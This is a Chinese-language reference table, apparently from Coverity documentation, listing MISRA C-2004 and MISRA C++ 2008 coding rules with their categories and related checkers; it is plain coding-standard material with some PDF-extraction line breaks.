规则 20.8	标准库	不应使用 <signal.h> 的信号处理设施。	必需	MISRA C-2004 规则 20.8
规则 20.9	标准库	不应在最终产品代码中使用输入/输出库 <stdio.h>。	必需	MISRA C-2004 规则 20.9
规则 20.10	标准库	不应使用来自库 <stdlib.h> 中的库函数 atof、atoi 和 atol。	必需	MISRA C-2004 规则 20.10
规则 20.11	标准库	不应使用来自库 <stdlib.h> 中的库函数 abort、exit、getenv 和 system。	必需	MISRA C-2004 规则 20.11
规则 20.12	标准库	不应使用库 <time.h> 的时间处理函数。	必需	MISRA C-2004 规则 20.12
规则 21.1	运行时失败	应至少使用以下方法之一来最大程度地减少运行时失败：(a) 静态分析工具/方法；(b) 动态分析工具/方法；(c) 显式编码检查以处理运行时故障。	必需	

### E.3. MISRA C++ 2008

Table E.2. MISRA C++ 2008

规则	摘要	说明	默认类别	相关 Coverity 检查器
规则 0-1-1	不必要的构造	项目不应包含无法到达的代码。	必需	MISRA C++-2008 规则 0-1-1
规则 0-1-2	不必要的构造	项目不应包含不可达的路径。	必需	MISRA C++-2008 规则 0-1-2
规则 0-1-3	不必要的构造	项目不应包含未使用的变量。	必需	MISRA C++-2008 规则 0-1-3

## MISRA 规则和指令

---

规则	摘要	说明	默认类别	相关 Coverity 检查器
规则 0-1-4	不必要的构造	项目不应包含只使用一次的非易失性 POD 变量。	必需	MISRA C++-2008 规则 0-1-4
规则 0-1-5	不必要的构造	项目不应包含未使用的类型声明。	必需	MISRA C++-2008 规则 0-1-5
规则 0-1-6	不必要的构造	项目不应包含被赋予之后绝不会使用的值的非易失性变量的实例。	必需	MISRA C++-2008 规则 0-1-6
规则 0-1-7	不必要的构造	应始终使用不是重载运算符的返回类型为非 void 的函数返回值。	必需	MISRA C++-2008 规则 0-1-7
规则 0-1-8	不必要的构造	返回 void 类型的所有函数都有外部其他作用。	必需	MISRA C++-2008 规则 0-1-8
规则 0-1-9	不必要的构造	不应存在无用代码。	必需	MISRA C++-2008 规则 0-1-9
规则 0-1-10	不必要的构造	定义的函数至少应调用一次。	必需	MISRA C++-2008 规则 0-1-10
规则 0-1-11	不必要的构造	非虚函数中不应存在未使用的参数（已命名或未命名）。	必需	MISRA C++-2008 规则 0-1-11
规则 0-1-12	不必要的构造	用于虚函数以及覆盖该虚函数的所有函数的参数集中不应存在未使用的参数（已命名或未命名）。	必需	MISRA C++-2008 规则 0-1-12
规则 0-2-1	存储	不应将对象分配给重叠的对象。	必需	MISRA C++-2008 规则 0-2-1
规则 0-3-1	运行时失败	应至少使用以下方法之一来最大程度地减少运行时失败：(a) 静态分析 (b) 动态分析 (c) 显式编码检查以处理运行时故障。	文档	

## MISRA 规则和指令

---

规则	摘要	说明	默认类别	相关 Coverity 检查器
规则 0-3-2	运行时失败	如果函数返回了错误信息，则应该测试该错误信息。	必需	MISRA C++-2008 规则 0-3-2
规则 0-4-1	算法	应该记录使用缩放整数或定点算法的情况。	文档	
规则 0-4-2	算法	应该记录使用浮点算法的情况。	文档	
规则 0-4-3	算法	浮点实现应遵守定义的浮点标准。	文档	
规则 1-0-1	语言	所有代码都应符合 ISO/IEC 14882:2003“C++ 标准体现技术勘误 1”(The C++ Standard Incorporating Technical Corrigendum 1)。	必需	
规则 1-0-2	语言	只有当编译器具有共同定义的接口时才能使用多个编译器。	文档	
规则 1-0-3	语言	应该确定和记录选定编译器中整数除法的执行。	文档	
规则 2-2-1	字符集	应该记录字符集和相应的编码。	文档	
规则 2-3-1	三字符组序列	不应使用三字符组。	必需	MISRA C++-2008 规则 2-3-1
规则 2-5-1	替代令牌	不应使用图表。	建议	MISRA C++-2008 规则 2-5-1
规则 2-7-1	注释	不应在 C 风格注释中使用字符序列 / *。	必需	MISRA C++-2008 规则 2-7-1
规则 2-7-2	注释	不应使用 C 风格注释将代码段“注释掉”。	必需	MISRA C++-2008 规则 2-7-2
规则 2-7-3	注释	不应使用 C++ 注释将代码段“注释掉”。	建议	MISRA C++-2008 规则 2-7-3

## MISRA 规则和指令

---

规则	摘要	说明	默认类别	相关 Coverity 检查器
规则 2-10-1	标识符	不同的标识符在排字上应该清楚明确。	必需	MISRA C++-2008 规则 2-10-1
规则 2-10-2	标识符	在内部范围中声明的标识符不应隐藏在外部范围中声明的标识符。	必需	MISRA C++-2008 规则 2-10-2
规则 2-10-3	标识符	typedef 名称 ( 包括属性 , 如果有 ) 应是唯一的标识符。	必需	MISRA C++-2008 规则 2-10-3
规则 2-10-4	标识符	类、联合或 enum 名称 ( 包括属性 , 如果有 ) 必须是唯一的标识符。	必需	MISRA C++-2008 规则 2-10-4
规则 2-10-5	标识符	具有静态存储期的非成员对象或函数的标识符名称不应再次使用。	建议	MISRA C++-2008 规则 2-10-5
规则 2-10-6	标识符	如果标识符是指类型，则它不应该在同一个范围内也指对象或函数。	必需	MISRA C++-2008 规则 2-10-6
规则 2-13-1	常量	只应使用在 ISO/IEC 14882:2003 中定义的那些转义序列。	必需	MISRA C++-2008 规则 2-13-1
规则 2-13-2	常量	不应使用八进制常量 ( 零除外 ) 和八进制转义序列 ( “0”除外 ) 。	必需	MISRA C++-2008 规则 2-13-2
规则 2-13-3	常量	应对所有无符号类型的八进制或十六进制整数常量应用“U”后缀。	必需	MISRA C++-2008 规则 2-13-3
规则 2-13-4	常量	常数值后缀应该采用大写。	必需	MISRA C++-2008 规则 2-13-4
规则 2-13-5	常量	不应将窄字符串和宽字符串常数值连接在一起。	必需	MISRA C++-2008 规则 2-13-5
规则 3-1-1	声明和定义	在不违反“一个定义规则”(One	必需	MISRA C++-2008 规则 3-1-1

## MISRA 规则和指令

---

规则	摘要	说明	默认类别	相关 Coverity 检查器
		Definition Rule) 情况下可以在多个编译单元中包括任何头文件。		
规则 3-1-2	声明和定义	函数不应在块范围内声明。	必需	MISRA C++-2008 规则 3-1-2
规则 3-1-3	声明和定义	当声明数组时，应显式指明其大小或在初始化中隐式定义其大小。	必需	MISRA C++-2008 规则 3-1-3
规则 3-2-1	一个定义规则	对象或函数的所有声明都应具有兼容类型。	必需	MISRA C++-2008 规则 3-2-1
规则 3-2-2	一个定义规则	不应违反“一个定义规则”(One Definition Rule)。	必需	MISRA C++-2008 规则 3-2-2
规则 3-2-3	一个定义规则	在多个编译单元中使用的类型、对象或函数应在一个且仅在一个文件中声明。	必需	MISRA C++-2008 规则 3-2-3
规则 3-2-4	一个定义规则	包含外部链接的标识符应只具有一个外部定义。	必需	MISRA C++-2008 规则 3-2-4
规则 3-3-1	可声明的区域和范围	不应在头文件中声明具有外部链接的对象或函数。	必需	MISRA C++-2008 规则 3-3-1
规则 3-3-2	可声明的区域和范围	如果函数包含内部链接，则所有重新声明应包括静态存储类说明符。	必需	MISRA C++-2008 规则 3-3-2
规则 3-4-1	名称查询	声明为对象或类型的标识符应在最小化其可见性的块中定义。	必需	MISRA C++-2008 规则 3-4-1
规则 3-9-1	类型	用于对象、函数返回类型或函数参数的类型在所有声明和重新声明中均应为标识符相同。	必需	MISRA C++-2008 规则 3-9-1

## MISRA 规则和指令

---

规则	摘要	说明	默认类别	相关 Coverity 检查器
规则 3-9-2	类型	应该使用指示大小和符号的 <code>typedef</code> 代替基本数值类型。	建议	MISRA C++-2008 规则 3-9-2
规则 3-9-3	类型	不应使用浮点值的基础位表示法。	必需	MISRA C++-2008 规则 3-9-3
规则 4-5-1	整型提升	不应将具有 <code>bool</code> 类型的表达式用作内置运算符的操作数，以下运算符除外：赋值运算符 <code>=</code> 、逻辑运算符 <code>&amp;&amp;</code> 、 <code>  </code> 、 <code>!</code> 、等号运算符 <code>==</code> 和 <code>!=</code> 、一元 <code>&amp;</code> 运算符以及条件运算符。	必需	MISRA C++-2008 规则 4-5-1
规则 4-5-2	整型提升	不应将具有 <code>enum</code> 类型的表达式用作内置运算符的操作数，以下运算符除外：下标运算符 <code>[]</code> 、赋值运算符 <code>=</code> 、等号运算符 <code>==</code> 和 <code>!=</code> 、一元 <code>&amp;</code> 运算符以及关系运算符 <code>&lt;</code> 、 <code>&lt;=</code> 、 <code>&gt;</code> 、 <code>&gt;=</code> 。	必需	MISRA C++-2008 规则 4-5-2
规则 4-5-3	整型提升	不应将具有（普通） <code>char</code> 和 <code>wchar_t</code> 类型的表达式用作内置运算符的操作数，以下运算符除外：赋值运算符 <code>=</code> 、等号运算符 <code>==</code> 和 <code>!=</code> 以及一元 <code>&amp;</code> 运算符。	必需	MISRA C++-2008 规则 4-5-3
规则 4-10-1	指针转换	不应将 <code>NULL</code> 用作整数值。	必需	MISRA C++-2008 规则 4-10-1
规则 4-10-2	指针转换	不应将常数值零（0）用作非指针常量。	必需	MISRA C++-2008 规则 4-10-2
规则 5-0-1	一般表达式	在标准允许的任何求值顺序下，表达式的值都应相同。	必需	MISRA C++-2008 规则 5-0-1

## MISRA 规则和指令

---

规则	摘要	说明	默认类别	相关 Coverity 检查器
规则 5-0-2	一般表达式	在表达式中，应有限地依赖 C++ 运算符优先规则。	建议	MISRA C++-2008 规则 5-0-2
规则 5-0-3	一般表达式	不应将 cvalue 表达式隐式转换为其他基础类型。	必需	MISRA C++-2008 规则 5-0-3
规则 5-0-4	一般表达式	隐式整数转换不应改变基础类型的符号。	必需	MISRA C++-2008 规则 5-0-4
规则 5-0-5	一般表达式	不应存在隐式浮点-整数转换。	必需	MISRA C++-2008 规则 5-0-5
规则 5-0-6	一般表达式	隐式整数或浮点转换不应减小基础类型的大小。	必需	MISRA C++-2008 规则 5-0-6
规则 5-0-7	一般表达式	cvalue 表达式不应存在显式浮点-整数转换。	必需	MISRA C++-2008 规则 5-0-7
规则 5-0-8	一般表达式	显式整数或浮点转换不应增加 cvalue 表达式基础类型的大小。	必需	MISRA C++-2008 规则 5-0-8
规则 5-0-9	一般表达式	显式整数转换不应改变 cvalue 表达式基础类型的符号。	必需	MISRA C++-2008 规则 5-0-9
规则 5-0-10	一般表达式	如果对基础类型为无符号 char 或无符号 short 的操作数应用了位运算符 ~ 和 <<，结果应立即转换为操作数的基础类型。	必需	MISRA C++-2008 规则 5-0-10
规则 5-0-11	一般表达式	普通 char 类型只应该用于存储，并使用字符值。	必需	MISRA C++-2008 规则 5-0-11
规则 5-0-12	一般表达式	带符号的和无符号的 char 类型只应该用于存储，并使用数字值。	必需	MISRA C++-2008 规则 5-0-12
规则 5-0-13	一般表达式	if 语句的条件和迭代语句的条件都应具有 bool 类型。	必需	MISRA C++-2008 规则 5-0-13

规则	摘要	说明	默认类别	相关 Coverity 检查器
规则 5-0-14	一般表达式	条件运算符的第一个操作数应具有 bool 类型。	必需	MISRA C++-2008 规则 5-0-14
规则 5-0-15	一般表达式	数组索引应该是指针算术运算唯一允许的形式。	必需	MISRA C++-2008 规则 5-0-15
规则 5-0-16	一般表达式	指针操作数以及通过针对该操作数的指针算术运算获得的指针应访问相同数组的元素。	必需	MISRA C++-2008 规则 5-0-16
规则 5-0-17	一般表达式	指针之间的减法运算只应该应用到访问同一数组的元素的指针。	必需	MISRA C++-2008 规则 5-0-17
规则 5-0-18	一般表达式	不应对类型为指针的对象应用关系运算符 >、>=、< 和 <=，除非它们指向同一数组。	必需	MISRA C++-2008 规则 5-0-18
规则 5-0-19	一般表达式	对象的声明不应包含超过两级的指针间接。	必需	MISRA C++-2008 规则 5-0-19
规则 5-0-20	一般表达式	二进制位运算符的非常量操作数应具有相同的基础类型。	必需	MISRA C++-2008 规则 5-0-20
规则 5-0-21	一般表达式	位运算符只应该应用于无符号基础类型的操作数。	必需	MISRA C++-2008 规则 5-0-21
规则 5-2-1	后缀表达式	逻辑 && 或    的每个操作数都应该是后缀表达式。	必需	MISRA C++-2008 规则 5-2-1
规则 5-2-2	后缀表达式	只应通过 dynamic_cast 将虚基类的指针转换为继承类的指针。	必需	MISRA C++-2008 规则 5-2-2
规则 5-2-3	后缀表达式	不应对多态类型执行基类到继承类的转换。	建议	MISRA C++-2008 规则 5-2-3

规则	摘要	说明	默认类别	相关 Coverity 检查器
规则 5-2-4	后缀表达式	不应使用 C 风格转换 ( void 转换除外 ) 和函数注解转换 ( 显式构造函数调用除外 )。	必需	MISRA C++-2008 规则 5-2-4
规则 5-2-5	后缀表达式	指针或引用类型的转换将不应移除任何常量或易失性属性。	必需	MISRA C++-2008 规则 5-2-5
规则 5-2-6	后缀表达式	转换不应将函数指针转换为任何其他指针类型，包括函数类型指针。	必需	MISRA C++-2008 规则 5-2-6
规则 5-2-7	后缀表达式	不应直接或间接将具有指针类型的对象转换为不相关的指针类型。	必需	MISRA C++-2008 规则 5-2-7
规则 5-2-8	后缀表达式	不应将具有整数类型或 void 类型指针的对象转换为具有指针类型的对象。	必需	MISRA C++-2008 规则 5-2-8
规则 5-2-9	后缀表达式	转换不应将指针类型转换为整数类型。	建议	MISRA C++-2008 规则 5-2-9
规则 5-2-10	后缀表达式	在表达式中，递增 (++) 和递减 (--) 运算符不应与其他运算符混合使用。	建议	MISRA C++-2008 规则 5-2-10
规则 5-2-11	后缀表达式	逗号运算符、&& 运算符和    运算符不应重载。	必需	MISRA C++-2008 规则 5-2-11
规则 5-2-12	后缀表达式	作为函数参数传递的类型为数组的标识符不应退化为指针。	必需	MISRA C++-2008 规则 5-2-12
规则 5-3-1	一元表达式	! 运算符、逻辑运算符 && 或    的每个操作数的类型都应为 bool。	必需	MISRA C++-2008 规则 5-3-1
规则 5-3-2	一元表达式	不应对基础类型为无符号类型的表达	必需	MISRA C++-2008 规则 5-3-2

## MISRA 规则和指令

---

规则	摘要	说明	默认类别	相关 Coverity 检查器
		式应用一元减运算符。		
规则 5-3-3	一元表达式	一元 & 运算符不应重载。	必需	MISRA C++-2008 规则 5-3-3
规则 5-3-4	一元表达式	sizeof 运算符的操作数的求值不应包含其他作用。	必需	MISRA C++-2008 规则 5-3-4
规则 5-8-1	移位运算符	移位运算符的右操作数应介于 0 和左操作数基础类型的位置宽度之间。	必需	MISRA C++-2008 规则 5-8-1
规则 5-14-1	逻辑与运算符	逻辑运算符 && 或    的右操作数不应包含其他作用。	必需	MISRA C++-2008 规则 5-14-1
规则 5-17-1	赋值运算符	应该保留二进制运算符及其赋值运算符形式之间的语义等价。	必需	
规则 5-18-1	逗号运算符	不应使用逗号运算符。	必需	MISRA C++-2008 规则 5-18-1
规则 5-19-1	常量表达式	无符号的整数常量表达式的评估不应导致溢出。	建议	MISRA C++-2008 规则 5-19-1
规则 6-2-1	表达式语句	不应在子表达式中使用赋值运算符。	必需	MISRA C++-2008 规则 6-2-1
规则 6-2-2	表达式语句	不应直接或间接对浮点表达式执行相等或不等测试。	必需	MISRA C++-2008 规则 6-2-2
规则 6-2-3	表达式语句	在预处理之前，null 语句只能单独一行出现；该 null 语句可后接注释，前提是该语句后接的第一个字符是空格。	必需	MISRA C++-2008 规则 6-2-3
规则 6-3-1	复合语句	构成 switch、while、do ... while 或 for 语句主体的语句应该是复合语句。	必需	MISRA C++-2008 规则 6-3-1
规则 6-4-1	选择语句	if ( 条件 ) 结构应该后接复合语句。else	必需	MISRA C++-2008 规则 6-4-1

规则	摘要	说明	默认类别	相关 Coverity 检查器
		关键字应该后接复合语句或另一个 if 语句。		
规则 6-4-2	选择语句	所有 if ... else if 结构应以 else 语句结束。	必需	MISRA C++-2008 规则 6-4-2
规则 6-4-3	选择语句	switch 语句应是符合语法的 switch 语句。	必需	MISRA C++-2008 规则 6-4-3
规则 6-4-4	选择语句	switch 标签只应在最里层的复合语句是 switch 语句的主体时使用。	必需	MISRA C++-2008 规则 6-4-4
规则 6-4-5	选择语句	无条件的 throw 或 break 语句应该终止每一个非空 switch 子句。	必需	MISRA C++-2008 规则 6-4-5
规则 6-4-6	选择语句	switch 语句的最终子句应该是 default 子句。	必需	MISRA C++-2008 规则 6-4-6
规则 6-4-7	选择语句	switch 语句的条件不应包含 bool 类型。	必需	MISRA C++-2008 规则 6-4-7
规则 6-4-8	选择语句	每个 switch 语句都应该至少具有一个 case 子句。	必需	MISRA C++-2008 规则 6-4-8
规则 6-5-1	迭代语句	For 循环应包含一个不应具有浮点类型的循环计数器。	必需	MISRA C++-2008 规则 6-5-1
规则 6-5-2	迭代语句	如果循环计数器未通过 -- 或 ++ 修饰，则在条件中，只应将循环计数器用作 <=、<、> 或 >= 的操作数。	必需	MISRA C++-2008 规则 6-5-2
规则 6-5-3	迭代语句	不应在条件或语句中修改循环计数器。	必需	MISRA C++-2008 规则 6-5-3
规则 6-5-4	迭代语句	循环计数器应通过以下其中一项修改：--、++、-=n 或	必需	MISRA C++-2008 规则 6-5-4

## MISRA 规则和指令

---

规则	摘要	说明	默认类别	相关 Coverity 检查器
		+ = n; , 其中 n 在循环持续时间内保持为常量。		
规则 6-5-5	迭代语句	除循环计数器以外的循环控制变量不应在条件或表达式内进行修改。	必需	MISRA C++-2008 规则 6-5-5
规则 6-5-6	迭代语句	在语句中修改的除循环计数器之外的循环控制变量应具有类型 bool。	必需	MISRA C++-2008 规则 6-5-6
规则 6-6-1	跳转语句	goto 语句引用的任何标签都应在同一代码块或包括该 goto 语句的任何代码块中声明。	必需	MISRA C++-2008 规则 6-6-1
规则 6-6-2	跳转语句	goto 语句应跳转到在同一函数后半部分中声明的标签。	必需	MISRA C++-2008 规则 6-6-2
规则 6-6-3	跳转语句	不应在循环语法中使用 continue 语句。	必需	MISRA C++-2008 规则 6-6-3
规则 6-6-4	跳转语句	对于任何迭代语句，用于循环终止的 break 或 goto 语句不应超过一个。	必需	MISRA C++-2008 规则 6-6-4
规则 6-6-5	跳转语句	函数在函数结束处应该只有唯一的退出点。	必需	MISRA C++-2008 规则 6-6-5
规则 7-1-1	说明符	不能修改的变量应该使用 const 限制。	必需	MISRA C++-2008 规则 7-1-1
规则 7-1-2	说明符	如果函数参数是不能修改的对象，应该在函数中将相对应的参数的指针或引用声明为 const 指针或 const 引用。	必需	MISRA C++-2008 规则 7-1-2
规则 7-2-1	枚举声明	具有 enum 基础类型的表达式只应具	必需	MISRA C++-2008 规则 7-2-1

## MISRA 规则和指令

---

规则	摘要	说明	默认类别	相关 Coverity 检查器
		有与枚举的枚举器对应的值。		
规则 7-3-1	命名空间	全局命名空间只应包含 main、命名空间声明和 extern 声明。	必需	MISRA C++-2008 规则 7-3-1
规则 7-3-2	命名空间	标识符 main 不应用于除全局函数 main 之外的函数。	必需	MISRA C++-2008 规则 7-3-2
规则 7-3-3	命名空间	头文件中不应存在未命名的命名空间。	必需	MISRA C++-2008 规则 7-3-3
规则 7-3-4	命名空间	不应使用 using 指令。	必需	MISRA C++-2008 规则 7-3-4
规则 7-3-5	命名空间	同一命名空间中的标识符的多个声明不应跨越该标识符的使用声明。	必需	MISRA C++-2008 规则 7-3-5
规则 7-3-6	命名空间	不应在头文件中使用 using 指令或 using 声明 ( 不包括 using 声明中的类范围或函数范围 ) 。	必需	MISRA C++-2008 规则 7-3-6
规则 7-4-1	ASM 声明	应该记录所有使用汇编程序的情况。	文档	
规则 7-4-2	ASM 声明	汇编程序说明只应使用 asm 声明引入。	必需	MISRA C++-2008 规则 7-4-2
规则 7-4-3	ASM 声明	应该独立封装汇编语言。	必需	MISRA C++-2008 规则 7-4-3
规则 7-5-1	链接规范	函数不应返回在函数内定义的自动变量 ( 包括参数 ) 的引用或指针。	必需	MISRA C++-2008 规则 7-5-1
规则 7-5-2	链接规范	在第一个对象消失后不应将自动存储对象的地址赋值给另一个可能仍然存在的对象。	必需	MISRA C++-2008 规则 7-5-2
规则 7-5-3	链接规范	函数不应返回通过引用或常量引用传	必需	MISRA C++-2008 规则 7-5-3

## MISRA 规则和指令

---

规则	摘要	说明	默认类别	相关 Coverity 检查器
		递的参数的引用或指针。		
规则 7-5-4	链接规范	函数不应直接或间接调用自身。	建议	MISRA C++-2008 规则 7-5-4
规则 8-0-1	常规	init-declarator-list 或 member-declarator-list 应该分别包括一个 init-declarator 或 member-declarator。	必需	MISRA C++-2008 规则 8-0-1
规则 8-3-1	声明符的意思	覆盖虚函数中的参数应使用与其覆盖的函数相同的默认参数，否则不应指定任何默认参数。	必需	MISRA C++-2008 规则 8-3-1
规则 8-4-1	函数定义	不应使用 ellipsis 注解定义函数。	必需	MISRA C++-2008 规则 8-4-1
规则 8-4-2	函数定义	用于函数的重新声明中的参数的标识符应与声明中的标识符相同。	必需	MISRA C++-2008 规则 8-4-2
规则 8-4-3	函数定义	返回非 void 类型的函数的所有退出路径都应具有包含表达式的显式返回语句。	必需	MISRA C++-2008 规则 8-4-3
规则 8-4-4	函数定义	函数标识符应该只用于函数调用，或者在其前使用 & 前缀。	必需	MISRA C++-2008 规则 8-4-4
规则 8-5-1	初始化器	所有变量在使用之前都应先定义一个值。	必需	MISRA C++-2008 规则 8-5-1
规则 8-5-2	初始化器	在数组和结构的非零初始化中，应使用大括号指示和匹配结构。	必需	MISRA C++-2008 规则 8-5-2
规则 8-5-3	初始化器	在枚举器列表中，不应将 = 构造用于显式初始化非首位成员之外的成员，	必需	MISRA C++-2008 规则 8-5-3

## MISRA 规则和指令

---

规则	摘要	说明	默认类别	相关 Coverity 检查器
		除非所有项目都已经被显式初始化。		
规则 9-3-1	成员函数	常量成员函数不应返回类数据的非常量指针或引用。	必需	MISRA C++-2008 规则 9-3-1
规则 9-3-2	成员函数	成员函数不应返回类数据的非常量句柄。	必需	MISRA C++-2008 规则 9-3-2
规则 9-3-3	成员函数	如果成员函数可以是静态，则它应该是静态，另外如果它可以是 const，则它应该是 const。	必需	MISRA C++-2008 规则 9-3-3
规则 9-5-1	联合	不应使用联合。	必需	MISRA C++-2008 规则 9-5-1
规则 9-6-1	位域	在需要位的绝对定位表示位域时，应该记录位域的行为和包装。	文档	
规则 9-6-2	位域	位域应该是 bool 类型或显式无符号或带符号的整数类型。	必需	MISRA C++-2008 规则 9-6-2
规则 9-6-3	位域	位域不应具有 enum 类型。	必需	MISRA C++-2008 规则 9-6-3
规则 9-6-4	位域	已命名带符号整数类型的位域的长度应超过一位。	必需	MISRA C++-2008 规则 9-6-4
规则 10-1-1	多基类	不应该通过虚基类来继承类。	建议	MISRA C++-2008 规则 10-1-1
规则 10-1-2	多基类	如果将基类用于菱形层次架构中，则只应将其声明为虚基类。	必需	MISRA C++-2008 规则 10-1-2
规则 10-1-3	多基类	可访问基类在同一层次架构中不能同时为虚基类和非虚基类。	必需	MISRA C++-2008 规则 10-1-3

规则	摘要	说明	默认类别	相关 Coverity 检查器
规则 10-2-1	成员名称查询	多继承层次架构中的所有可访问实体名称都应该唯一。	建议	MISRA C++-2008 规则 10-2-1
规则 10-3-1	虚函数	在整个继承层次架构中，每个虚函数在每个路径中的定义不应超过一个。	必需	MISRA C++-2008 规则 10-3-1
规则 10-3-2	虚函数	每个覆盖虚函数都应使用虚关键字声明。	必需	MISRA C++-2008 规则 10-3-2
规则 10-3-3	虚函数	如果虚函数被声明为纯虚函数，则该虚函数只应被纯虚函数覆盖。	必需	MISRA C++-2008 规则 10-3-3
规则 11-0-1	常规	非 POD 类类型中的成员数据应该是私有的。	必需	MISRA C++-2008 规则 11-0-1
规则 12-1-1	构造函数	对象的动态类型不应用在其构造函数或析构函数的主体中使用。	必需	MISRA C++-2008 规则 12-1-1
规则 12-1-2	构造函数	类的所有构造函数都应显式调用其所有直接基类和所有虚基类的构造函数。	建议	MISRA C++-2008 规则 12-1-2
规则 12-1-3	构造函数	所有可通过单个基本类型的参数调用的构造函数都应显式声明。	必需	MISRA C++-2008 规则 12-1-3
规则 12-8-1	复制类对象	复制构造函数只应初始化其基类以及本类的非静态成员。	必需	MISRA C++-2008 规则 12-8-1
规则 12-8-2	复制类对象	复制赋值运算符在抽象类中应被声明为受保护或私有。	必需	MISRA C++-2008 规则 12-8-2
规则 14-5-1	模板声明	非成员类属函数只应在不关联的命名空间中声明。	必需	MISRA C++-2008 规则 14-5-1

规则	摘要	说明	默认类别	相关 Coverity 检查器
规则 14-5-2	模板声明	当存在具有一个类属参数的模板构造函数时，应声明复制构造函数。	必需	MISRA C++-2008 规则 14-5-2
规则 14-5-3	模板声明	当存在具有类属参数的模板赋值运算符时，应声明复制赋值运算符。	必需	MISRA C++-2008 规则 14-5-3
规则 14-6-1	名称解析	在具有从属基类的类模板中，在该从属基类中可能找到的任何名称应使用 qualified-id 或 this-> 引用。	必需	MISRA C++-2008 规则 14-6-1
规则 14-6-2	名称解析	由重载解析选择的函数应解析为在以前在编译单元中声明的函数。	必需	MISRA C++-2008 规则 14-6-2
规则 14-7-1	模板初始化和具体化	所有类模板、函数模板、类模板成员函数和类模板静态成员都应至少实例化一次。	必需	MISRA C++-2008 规则 14-7-1
规则 14-7-2	模板初始化和具体化	对于任何指定的模板具体化，在具体化中使用模板参数的情况下，模板的显式实例化不应呈现给（传递给）不规范的程序。	必需	MISRA C++-2008 规则 14-7-2
规则 14-7-3	模板初始化和具体化	模板的所有部分和显式具体化应在与主模板的声明相同的文件中声明。	必需	MISRA C++-2008 规则 14-7-3
规则 14-8-1	函数模板具体化	不应显式具体化重载函数模板。	必需	MISRA C++-2008 规则 14-8-1
规则 14-8-2	函数模板具体化	为函数调用设置的可行函数应该不包含函数具体化，或只包含函数具体化。	建议	MISRA C++-2008 规则 14-8-2

## MISRA 规则和指令

---

规则	摘要	说明	默认类别	相关 Coverity 检查器
规则 15-0-1	常规	异常只应用于错误处理。	文档	
规则 15-0-2	常规	异常对象不应具有指针类型。	建议	MISRA C++-2008 规则 15-0-2
规则 15-0-3	常规	不应使用 goto 或 switch 语句将控制转化为 try 或 catch 块。	必需	MISRA C++-2008 规则 15-0-3
规则 15-1-1	抛出异常	throw 语句的赋值表达式本身不应导致抛出异常。	必需	MISRA C++-2008 规则 15-1-1
规则 15-1-2	抛出异常	不应显式抛出 NULL。	必需	MISRA C++-2008 规则 15-1-2
规则 15-1-3	抛出异常	空 throw (throw;) 只应用于 catch 处理程序的复合语句。	必需	MISRA C++-2008 规则 15-1-3
规则 15-3-1	处理异常	只应在程序启动之后并且在终止之前报告异常。	必需	MISRA C++-2008 规则 15-3-1
规则 15-3-2	处理异常	至少应有一个异常处理程序用于捕获所有未处理的异常。	建议	MISRA C++-2008 规则 15-3-2
规则 15-3-3	处理异常	类构造函数或析构函数的 function-try-block 实现的处理程序不应引用此类或其基类的非静态成员。	必需	MISRA C++-2008 规则 15-3-3
规则 15-3-4	处理异常	代码中显式抛出的每个异常在所有可能导致该异常的调用路径中都应具有兼容类型的处理程序。	必需	MISRA C++-2008 规则 15-3-4
规则 15-3-5	处理异常	类类型异常应始终通过引用捕获。	必需	MISRA C++-2008 规则 15-3-5
规则 15-3-6	处理异常	当在针对继承类及其部分或全部基类的单个 try-catch 语句或 function-try-	必需	MISRA C++-2008 规则 15-3-6

## MISRA 规则和指令

---

规则	摘要	说明	默认类别	相关 Coverity 检查器
		block 中提供多个处理程序时，应按从最上层继承类到基类的顺序排列这些处理程序。		
规则 15-3-7	处理异常	当在单个 try-catch 语句或 function-try-block 中提供多个处理程序时，所有 ellipsis (catch-all) 处理程序都应最后发生。	必需	MISRA C++-2008 规则 15-3-7
规则 15-4-1	异常规范	如果函数使用异常规范声明，则同一函数（在其他编译单元中）的所有声明都应使用同一组类型 ID 来声明。	必需	MISRA C++-2008 规则 15-4-1
规则 15-5-1	特殊函数	析构函数不应存在异常。	必需	MISRA C++-2008 规则 15-5-1
规则 15-5-2	特殊函数	当函数的声明包括异常规范时，该函数只能抛出指定类型的异常。	必需	MISRA C++-2008 规则 15-5-2
规则 15-5-3	特殊函数	不应隐式调用 terminate() 函数。	必需	MISRA C++-2008 规则 15-5-3
规则 16-0-1	常规	文件中的 #include 指令之前只能包含其他预处理器指令或注释。	必需	MISRA C++-2008 规则 16-0-1
规则 16-0-2	常规	在全局命名空间中，只应使用 #define 或 #undef 定义或取消定义宏。	必需	MISRA C++-2008 规则 16-0-2
规则 16-0-3	常规	不应使用 #undef。	必需	MISRA C++-2008 规则 16-0-3
规则 16-0-4	常规	不应定义类似于函数的宏。	必需	MISRA C++-2008 规则 16-0-4
规则 16-0-5	常规	类似于函数的宏的参数不应包含看起	必需	MISRA C++-2008 规则 16-0-5

规则	摘要	说明	默认类别	相关 Coverity 检查器
		来像是预处理指令的标识符。		
规则 16-0-6	常规	在类似于函数的宏的定义中，参数的每个实例都应使用圆括号括起，除非它被用作 # 或 ## 的操作数。	必需	MISRA C++-2008 规则 16-0-6
规则 16-0-7	常规	不应将未定义的宏标识符用于 #if 或 #elif 预处理器指令，除非作为定义的运算符的操作数。	必需	MISRA C++-2008 规则 16-0-7
规则 16-0-8	常规	如果 # 标识符在行中显示为第一个标识符，则其后应紧接预处理标识符。	必需	MISRA C++-2008 规则 16-0-8
规则 16-1-1	条件包含	定义的预处理器运算符只能采用两种标准形式中的一种。	必需	MISRA C++-2008 规则 16-1-1
规则 16-1-2	条件包含	所有 #else、#elif 和 #endif 预处理器指令都应和相关的 #if 或 #ifdef 指令处在同一文件中。	必需	MISRA C++-2008 规则 16-1-2
规则 16-2-1	源文件包含	只应将预处理器用于文件包含和包含保护。	必需	MISRA C++-2008 规则 16-2-1
规则 16-2-2	源文件包含	C++ 宏只应用于包含保护、类型限定符或存储类说明符。	必需	MISRA C++-2008 规则 16-2-2
规则 16-2-3	源文件包含	应提供包含保护。	必需	MISRA C++-2008 规则 16-2-3
规则 16-2-4	源文件包含	'、"、/* 或 // 字符不应出现在头文件名称中。	必需	MISRA C++-2008 规则 16-2-4
规则 16-2-5	源文件包含	\ 字符不应出现在头文件名称中。	建议	MISRA C++-2008 规则 16-2-5

## MISRA 规则和指令

---

规则	摘要	说明	默认类别	相关 Coverity 检查器
规则 16-2-6	源文件包含	#include 指令应后接 <filename> 或“filename”序列。	必需	MISRA C++-2008 规则 16-2-6
